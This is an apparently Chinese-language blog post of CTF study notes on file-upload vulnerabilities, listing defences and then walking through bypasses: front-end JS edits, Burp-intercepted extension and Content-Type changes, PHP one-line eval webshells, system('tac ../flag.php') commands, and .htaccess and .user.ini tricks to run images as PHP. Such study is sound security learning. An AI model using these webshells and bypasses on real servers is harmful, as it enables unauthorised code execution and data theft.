文件上传及比较常见的题目解析

  • 文件上传漏洞

    • 程序员对未上传的文件进行严格的厌憎和过滤,导致用户可以上传可执行的动态脚本文件
      • 头像上传、文件上传、媒体上传
    • 防御措施

      • 上传文件的存储位置与服务器分离
      • 上传文件重新修改文件名、文件后缀名
        • 看后缀名是否防止修改
          • 前端传递,后端校验
      • 文件上传的上传保存路径根据业务进行分离;下载根据重新生成的文件名下载
    • 文件上传,验证/绕过,措施

      • 前端/js类绕过

        • 页面直接修改js上传文件后缀进行修改
        • 抓包改包,改后缀名
          • wenjain.jpg-->抓包-->wenjian.jsp
      • 后端
        *

php语句不对,重写(关火绒)

js前端

查看元素

修改后缀php

上传,文件路径

post

x=system("ls");

查到目录,用x=system("ls ../");

查看上一级,找到flag.php

x=system("tac ../flag.php");


利用bp改content-type

首先,尝试第一种方法,不可行

用bp抓包,发现content-type特点

尝试修改元素后上传php一句话木马

抓包,修改type为image/png

放行

上传成功

按第一步来

x=system("tac ../flag.php");

flag出现

如果把下面的png格式修改为

<?php eval($_POSTx);?>

是不可以找到flag的

不可以是图片木马

不能连接蚁剑,一个png一个php


.htaccess文件

apache的一个配置文件,负责相关目录下的网页配置

实现网页301重定向,自定义404页面错误,改变文件扩展名,允许或阻止特定的用户或目录的访问,禁止目录列表,配置默认文档等

<fileMatch "\.jpg>

SEHandler application/x-httpd-php

</FileMatch>

先分析源码

对php,asp,jsp等进行过滤,大小写的方式也不行

phP&&php5不行的话

但是可以上传.jpg文件,可是 .jpg只有解析成 php文件才能getshell

因此我们需要先上传 .htaccess 文件,然后再上传 .jpg文件

stack.jpg

<?php eval($_POST['x']);?>

找绝对路径,连接蚁剑

.user.ini其实是用户自定义的一个php.ini

是PHP的全局配置文件,对web服务起作用

利用这个文件来构造后门和隐藏后门

按前面方法继续尝试,发现不行,大小写,加数字,也不可以,需要重新下载

相关推荐
沄媪1 天前
CSRF 跨站请求伪造
前端·ctf·csrf
介一安全1 天前
【漏洞学习】PHP+Windows环境通用文件上传漏洞深度剖析
windows·web安全·php·文件上传·安全性测试
cc.ChenLy1 天前
大文件断点续传原理总结和Demo示例详解
javascript·vue.js·文件上传·大文件断点续传
沄媪1 天前
XSS 跨站脚本攻击
前端·ctf·xss
沄媪1 天前
反序列化漏洞
ctf·反序列化
祁白_2 天前
[0xV01D]_Night Traffic_writeUp
网络·安全·ctf·writeup
祁白_2 天前
[0xV01D]_Release Echo_writeUp
大数据·安全·ctf·writeup
yv_305 天前
yx秋季26期中考
ctf
祁白_6 天前
PHP无参RCE
web安全·php·ctf·writeup
名字不相符6 天前
ctfshow之MISC入门(个人记录与学习)
学习·ctf·misc